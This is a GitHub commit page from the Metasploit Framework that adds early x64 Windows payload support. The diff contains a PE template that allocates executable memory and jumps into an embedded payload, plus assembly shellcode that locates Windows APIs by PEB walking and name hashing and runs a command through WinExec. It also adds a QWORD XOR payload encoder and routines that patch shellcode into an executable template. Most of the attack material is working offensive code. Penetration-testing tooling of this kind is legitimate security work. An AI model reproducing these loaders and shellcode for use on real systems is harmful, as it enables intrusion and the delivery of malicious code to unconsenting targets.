Skip to content

Commit

Permalink
Merge in the beginnings of x64 support from Stephen Fewer
Browse files Browse the repository at this point in the history
git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
  • Loading branch information
HD Moore committed Aug 23, 2009
1 parent b397424 commit cf10a62
Show file tree
Hide file tree
Showing 17 changed files with 636 additions and 14 deletions.
32 changes: 32 additions & 0 deletions data/templates/template_x64_windows.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Architecture: x64
;
; Assemble and link with the following command:
; "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\x86_amd64\ml64" template_x64_windows.asm /link /subsystem:windows /defaultlib:"C:\Program Files\Microsoft SDKs\Windows\v6.0A\Lib\x64\kernel32.lib" /entry:main

extrn ExitProcess : proc
extrn VirtualAlloc : proc

.code

main proc
sub rsp, 40 ;
mov r9, 40h ;
mov r8, 3000h ;
mov rdx, 4096 ;
xor rcx, rcx ;
call VirtualAlloc ; lpPayload = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
mov rcx, 4096 ;
mov rsi, payload ;
mov rdi, rax ;
rep movsb ; memcpy( lpPayload, payload, 4096 );
call rax ; lpPayload();
xor rcx, rcx ;
call ExitProcess ; ExitProcess( 0 );
main endp
payload proc
A byte 'PAYLOAD:'
B db 4096-8 dup ( 'A' )
payload endp
end
Binary file added data/templates/template_x64_windows.exe
Binary file not shown.
108 changes: 108 additions & 0 deletions external/source/shellcode/windows/x64/src/block/block_api.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
; Size: 192 bytes
;-----------------------------------------------------------------------------;

[BITS 64]

; Windows x64 calling convention:
; http://msdn.microsoft.com/en-us/library/9b372w95.aspx

; Input: The hash of the API to call in r10d and all its parameters (rcx/rdx/r8/r9/any stack params)
; Output: The return value from the API call will be in RAX.
; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
; Un-Clobbered: RBX, RSI, RDI, RBP, R12, R13, R14, R15.
; RSP will be off by -40 hence the 'add rsp, 40' after each call to this function
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.

api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
24 changes: 24 additions & 0 deletions external/source/shellcode/windows/x64/src/single/single_exec.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
; Size: 263 + strlen(command) + 1
;-----------------------------------------------------------------------------;
[BITS 64]
[ORG 0]

cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm"
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
mov rdx, 1
lea rcx, [rbp+command-delta]
mov r10d, 0x876F8B31 ; hash( "kernel32.dll", "WinExec" )
call rbp ; WinExec( &command, 1 );
; Finish up with the EXITFUNK.
%include "./src/block/block_exitfunk.asm"
command:
;db "calc", 0
2 changes: 1 addition & 1 deletion lib/msf/core/encoder.rb
Original file line number Diff line number Diff line change
Expand Up @@ -549,7 +549,7 @@ def find_context_key(buf, badchars, state)
# Returns the list of bad keys associated with this encoder.
#
def find_bad_keys(buf, badchars)
return [ {}, {}, {}, {} ]
return Array.new( decoder_key_size, {} )
end

#
Expand Down
11 changes: 9 additions & 2 deletions lib/msf/core/encoder/xor.rb
Original file line number Diff line number Diff line change
Expand Up @@ -11,14 +11,21 @@ class Msf::Encoder::Xor < Msf::Encoder
# Encodes a block using the XOR encoder from the Rex library.
#
def encode_block(state, block)
Rex::Encoding::Xor::Dword.encode(block, [ state.key ].pack(state.decoder_key_pack))[0]
encoder = case state.decoder_key_size
when Rex::Encoding::Xor::Qword.keysize then Rex::Encoding::Xor::Qword
when Rex::Encoding::Xor::Dword.keysize then Rex::Encoding::Xor::Dword
when Rex::Encoding::Xor::Word.keysize then Rex::Encoding::Xor::Word
when Rex::Encoding::Xor::Byte.keysize then Rex::Encoding::Xor::Byte
else Rex::Encoding::Xor::Dword
end
encoder.encode(block, [ state.key ].pack(state.decoder_key_pack))[0]
end

#
# Finds keys that are incompatible with the supplied bad character list.
#
def find_bad_keys(buf, badchars)
bad_keys = [ {}, {}, {}, {} ]
bad_keys = Array.new( decoder_key_size, {} )
byte_idx = 0

# Scan through all the badchars and build out the bad_keys array
Expand Down
25 changes: 19 additions & 6 deletions lib/msf/core/payload/windows.rb
Original file line number Diff line number Diff line change
Expand Up @@ -27,19 +27,32 @@ module Msf::Payload::Windows
# payloads.
#
def initialize(info = {})
if (info['Alias'])
info['Alias'] = 'windows/' + info['Alias']
end
ret = super( info )

# All windows payload hint that the stack must be aligned to nop
# generators and encoders.
super(merge_info(info,
'SaveRegisters' => [ 'esp' ]))
if( info['Arch'] == ARCH_X86_64 )
if( info['Alias'] )
info['Alias'] = 'windows/x64/' + info['Alias']
end
merge_info( info, 'SaveRegisters' => [ 'rsp' ] )
elsif( info['Arch'] == ARCH_X86 )
if( info['Alias'] )
info['Alias'] = 'windows/' + info['Alias']
end
merge_info( info, 'SaveRegisters' => [ 'esp' ] )
end

#if (info['Alias'])
# info['Alias'] = 'windows/' + info['Alias']
#end

register_options(
[
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'thread' ])
], Msf::Payload::Windows)
], Msf::Payload::Windows )

ret
end

#
Expand Down
21 changes: 20 additions & 1 deletion lib/msf/util/exe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,13 @@ def self.to_executable(framework, arch, plat, code='')

# XXX: Add remaining x86 systems here
end


if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
if (plat.index(Msf::Module::Platform::Windows))
return to_win64pe(framework, code)
end
end

if(arch.index(ARCH_ARMLE))
if(plat.index(Msf::Module::Platform::OSX))
return to_osx_arm_macho(framework, code)
Expand Down Expand Up @@ -91,6 +97,19 @@ def self.to_win32pe(framework, code)
return pe
end

def self.to_win64pe(framework, code)
pe = ''

fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe"), "rb")
pe = fd.read(fd.stat.size)
fd.close

bo = pe.index('PAYLOAD:')
pe[bo,2048] = [code].pack('a2048') if bo

return pe
end

def self.to_win32pe_service(framework, code, name='SERVICENAME')
pe = ''

Expand Down
4 changes: 4 additions & 0 deletions lib/rex/arch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -37,6 +37,8 @@ def self.pack_addr(arch, addr)
case arch
when ARCH_X86
[addr].pack('V')
when ARCH_X86_64
[addr].pack('Q')
when ARCH_MIPS # ambiguous
[addr].pack('N')
when ARCH_MIPSBE
Expand Down Expand Up @@ -66,6 +68,8 @@ def self.endian(arch)
case arch
when ARCH_X86
return ENDIAN_LITTLE
when ARCH_X86_64
return ENDIAN_LITTLE
when ARCH_MIPS # ambiguous
return ENDIAN_BIG
when ARCH_MIPSLE
Expand Down
1 change: 1 addition & 0 deletions lib/rex/constants.rb
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,7 @@
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_X86_64 = 'x86_64'
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
Expand Down
3 changes: 2 additions & 1 deletion lib/rex/encoding/xor.rb
Original file line number Diff line number Diff line change
Expand Up @@ -16,4 +16,5 @@ module Xor
require 'rex/encoding/xor/generic'
require 'rex/encoding/xor/byte'
require 'rex/encoding/xor/word'
require 'rex/encoding/xor/dword'
require 'rex/encoding/xor/dword'
require 'rex/encoding/xor/qword'
15 changes: 15 additions & 0 deletions lib/rex/encoding/xor/qword.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
#!/usr/bin/env ruby

require 'rex/encoding/xor/generic'

module Rex
module Encoding
module Xor

class Qword < Generic

def Qword.keysize
8
end

end end end end
22 changes: 21 additions & 1 deletion lib/rex/text.rb
Original file line number Diff line number Diff line change
Expand Up @@ -570,6 +570,7 @@ def self.md5(str)

# XXX: depends on the Msf code being loaded, not just Rex
def self.to_executable(arch, plat, code, note='')

if (arch.index(ARCH_X86))

if (plat.index(Msf::Module::Platform::Windows))
Expand All @@ -586,7 +587,13 @@ def self.to_executable(arch, plat, code, note='')

# XXX: Add remaining x86 systems here
end


if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
if (plat.index(Msf::Module::Platform::Windows))
return Rex::Text.to_win64pe(code, note)
end
end

if(arch.index(ARCH_ARMLE))
if(plat.index(Msf::Module::Platform::OSX))
return Rex::Text.to_osx_arm_macho(code, note)
Expand Down Expand Up @@ -625,7 +632,20 @@ def self.to_win32pe(code = "\xcc", note="")

return pe
end

def self.to_win64pe(code = "\xcc", note="")
pe = ''

fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "data", "templates", "template_x64_windows.exe"), "rb")
pe = fd.read(fd.stat.size)
fd.close

bo = pe.index('PAYLOAD:')
pe[bo, 2048] = [code].pack('a2048') if bo

return pe
end

def self.to_win32pe_service(code = "\xcc", name="SERVICENAME")
pe = ''

Expand Down
Loading

0 comments on commit cf10a62

Please sign in to comment.